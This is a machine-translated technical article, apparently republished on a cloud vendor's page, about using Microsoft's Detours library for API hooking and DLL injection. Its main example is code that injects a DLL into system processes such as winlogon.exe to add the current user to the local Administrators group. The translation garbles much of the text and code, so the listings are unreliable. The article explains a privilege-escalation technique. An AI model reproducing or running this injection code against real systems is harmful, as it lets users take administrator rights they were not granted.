Use the detours library to obtain the NT administrator privilege

Source: Internet
Author: User
Tags api manual
Chen Zhimin dd
---- Detours is a function library developed by Microsoft ( Source code Available for free in http://research.microsoft.com/sn/detours), used to modify running Program Images in the memory, even if there is no source Code It can also change program behavior. The specific purpose is:

Intercepts Win32 API calls and directs them to their own subprograms to implement Win32 API customization.
Creates a new thread for a running process, loads its own code, and runs it.
---- This article will introduce the principle of detours, the usage of the detours library function, and write a program on Windows NT using the detours library function, this program enables users with "debugging programs" permissions to become system administrators. The appendix uses the detours library function to modify this program so that common users can become System Administrators (on NT4 SP3 ).

I. Principles of detours

---- 1. Win32 process memory management

---- In general, Windows NT implements virtual memory. Each Win32 process has 4 GB of virtual storage space. For details about the Win32 process's virtual storage structure and operations, see the Win32 API manual, only the following points are related to detours:

---- (1) the commands to be executed by the process are also stored in the virtual storage space.
---- (2) You can use the queryprotectex function to change the page permission for storing commands to readable, writable, and executable, and then rewrite the content to modify the running program.
---- (3) You can use virtualallocex to allocate virtual memory to another running process from one process, and then use queryprotectex to change the page permission to readable, writable, and executable, and write the commands to be executed in the form of binary machine code, so as to inject arbitrary code into a running process

---- 2. How Win32 APIs are intercepted

---- Detours defines three concepts:

---- (1) Target function: the function to intercept, usually a Windows API.
---- (2) trampoline function: replica of the target function. Because detours will rewrite the target function, we need to copy and save the target function first. On the one hand, we still save the process call semantics of the target function and facilitate future recovery.
---- (3) detour function: used to replace the target function.

---- Add the JMP address_of _ detour _ FUNCTION command at the beginning of the target function to direct the call to the target function to its own detour function, add JMP address_of _ target _ FUNCTION + 5 to the five bytes starting with the target function as the trampoline function. Example:

Before interception: Target _ function:
; Target Function entry. The following is a hypothetical Common Subprogram entry code.
Push EBP
MoV EBP, ESP
Push eax
Push EBX
Trampoline:
; The following is the continuation of the target function
......

After interception: Target _ function:
JMP detour_function
Trampoline:
; The following is the continuation of the target function
......

Trampoline_function:
; Trampoline function entry. The first five bytes are the same as the target function.
Push EBP
MoV EBP, ESP
Push eax
Push EBX
; Jump back and continue executing the target function
JMP target_function + 5
---- 3. Load a DLL for a running process

---- Follow these steps:

---- (1) create a threadfuction. The content only calls loadlibrary.
---- (2) use virtualallocex to allocate a virtual memory to a running process and change the permission to readable and writable.
---- (3) write the binary machine code of threadfuction into this virtual memory.
---- (4) use createremotethread to create a thread in the process and input the starting address of the previously allocated virtual memory as the address of the thread function to load a DLL for a running process. You can use dllmain to run your code in a running process.

Ii. usage of the detours Library Function

---- Because the detours software package does not include a Help file, the following interface is obtained only from the source code analysis.

---- 1. pbyte winapi detourfindfunction (pchar pszmodule, pchar pszfunction)

---- Function: Find the entry address of a function from DLL
---- Parameter: pszmodule is the DLL name and pszfunction is the function name.
---- Return: the entry address of the function named pszfunction of the DLL named pszmodule
---- Note: In addition to getprocaddress, detourfindfunction directly analyzes the DLL file header, so you can find some function portals that cannot be found by getprocaddress.

---- 2. detour_trampoline (trampoline_prototype, target_name)
---- Function: This macro generates the trampoline function for the target function named target_name, and then calls the trampoline_prototype to call the target function in semantics.

---- 3. bool winapi detourfunctionwithtrampoline (pbyte pbtrampoline, byte pbdetour)
---- Function: Use the detour function to intercept the target function.
---- Parameter: pbtrampoline is the trampoline_prototype obtained by detour_trampoline, and pbdetour is the entry address of the detour function.

---- 4. bool winapi detourremovewithtrampoline (pbyte pbtrampoline, pbyte pbdetour)
---- Function: restores the target function.
---- Parameter: pbtrampoline is the trampoline_prototype obtained by detour_trampoline, and pbdetour is the entry address of the detour function.

---- 5. bool winapi continueprocesswithdll (handle hprocess, lpcstr lpdllname)
---- Function: load a DLL for a running process
---- Parameter: hprocess is the process handle, and lpdllname is the name of the DLL to be loaded.

3. program instance

---- Describe the usage of the detours library function by using a program that enables users with "debugging program" permissions to become system administrators. Users, such as rpcss.exe, winlogon.exe, and service.exe, use continueprocesswithdll to inject the DLL that adds the current user to the local group of administrators because the DLL runs in the secure Context Environment of these processes, therefore, you have the required permissions.

---- Write the corresponding DLL first:

/* Admin. dll. when the process is loaded, the name is szaccountname.
To the local Administrators Group. */

# Include
# Include
# Include
# Include

/* Create a shared segment to implement data communication between processes,
Szaccountname is the user name, bprepared description
Whether szaccountname has been initialized. */

# Pragma data_seg (". myshare ")
Bool bprepared = false;
Wchar_t szaccountname [1, 100] = {0 };
# Pragma data_seg ()

# Pragma comment (linker, "/section:. myshare, RWS ")

/* The program calls setaccountname to add the setting to the administrators.
The User Name of the Local Group and notify dllmain
Szaccountname has been initialized,
You can use elevatepriv */

_ Declspec (dllexport) void winapi
Setaccountname (wchar_t * name)
{
Wcscpy (szaccountname, name );
Bprepared = true;
}

/* Add a user named szaccountname
To the administrators Local Group */

_ Declspec (dllexport) void winapi elevatepriv ()
{
Localgroup_members_info_3 account;
Account. lgrmi3_domainandname = szaccountname;
Netlocalgroupaddmembers (null, l "Administrators ",
3, (lpbyte) & account, 1 );
}

_ Declspec (dllexport) ulong winapi
Dllmain (hinstance,
DWORD dwreason, pvoid lpreserved)
{
Switch (dwreason ){
Case dll_thread_attach:
If (bprepared)
Elevatepriv ();
}
Return true;
}

The procedure is as follows:

/* Addmetoadministrators.exe Add the current user
The local group of administrators. Usage: (1)
---- Worker process ID (2)execute addmetoadministrators.exe procid, where procid is the process ID (3) written down in (1), sign in again, run User Manager, you can find that you are in the Local Administrators Group. */

# Include
# Include
# Include
# Include
# Include

Extern void winapi setaccountname (wchar_t * Name );

/* Getcurrentuser get your user name */

Void getcurrentuser (wchar_t * szname)
{
Handle hprocess, haccesstoken;
Wchar_t infobuffer [1000], szaccountname [200],
Szdomainname [200];
Ptoken_user ptokenuser = (ptoken_user) infobuffer;
DWORD dwinfobuffersize, dwaccountsize = 200,
Dwdomainsize = 200;
Sid_name_use snu;

Hprocess = getcurrentprocess ();

Openprocesstoken (hprocess, token_read, & haccesstoken );

Gettokeninformation (haccesstoken, tokenuser,
Infobuffer,
1000, & dwinfobuffersize );

Lookupaccountsid (null, ptokenuser-> User. Sid,
Szaccountname,
& Dwaccountsize, szdomainname, & dwdomainsize, & snu );
Wcscpy (szname, szdomainname );
Wcscat (szname, l "\\");
Wcscat (szname, szaccountname );
}

/* Enableprivilege enables the user permissions of the "debugging program */

bool enableprivilege (lpctstr szprivname, bool fenable)
{< br> handle htoken;
If (! Openprocesstoken (getcurrentprocess (),
token_adjust_privileges, & htoken)
return false;
token_privileges TP;
TP. privilegecount = 1;
lookupprivilegevalue (null, szprivname,
& TP. privileges [0]. luid);
TP. privileges [0]. attributes = fenable?
se_privilege_enabled: 0;
adjusttokenprivileges (htoken, false, & TP,
sizeof (TP), null, null );
return (getlasterror () = error_success);
}

int winapi winmain (hinstance hinst, hinstance hprev,
lpstr lpszcmdline, int
ncmdshow)
{< br> int argc;
wchar ** argv;
argv = commandlinetoargvw (getcommandlinew (),
& argc);
int nprocessid =-1;
If (argc! = 2) {
wprintf (L "usage % s PID", argv [0]);
return 1;
}< br> nprocessid = _ wtoi (argv [1]);
printf ("% d \ n", nprocessid );
----/* to successfully execute continueprocesswithdll, you must have the read/write memory content and the permission to create threads for process handles such as winlogon.exe. enableprivilege gives this process the right. */

If (! Enableprivilege (se_debug_name, true )){
Printf ("adjusttokenprivilege fail % u \ n ",
(Uint) getlasterror ());
Return 1;
}
Handle gnewhandle =
OpenProcess (process_all_access
, True, nprocessid );
If (! Gnewhandle ){
Printf ("OpenProcess fail % u \ n ",
(Uint) getlasterror ());
Return 1;
}
Wchar_t szname [100];
Getcurrentuser (szname );
Setaccountname (szname );
If (! Continueprocesswithdll (gnewhandle,
L "C: \ temp \ admin. dll ")){
Printf ("continueprocesswithdll failed % u ",
(Uint) getlasterror ());
Return 3;
}
Return 0;
}
---- Because the user permissions of the "debugging program" are granted to the Administrator by default, no security vulnerability is caused. However, the program reveals that the user permissions of the "debugging program" are actually the highest user permissions and can only be granted to trusted users.

Iv. Conclusion-detours is a powerful tool that provides easy-to-use function interfaces to intercept Win32 API calls and load a DLL into a running process.
Author's blog:Http://blog.csdn.net/FBStudio/

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.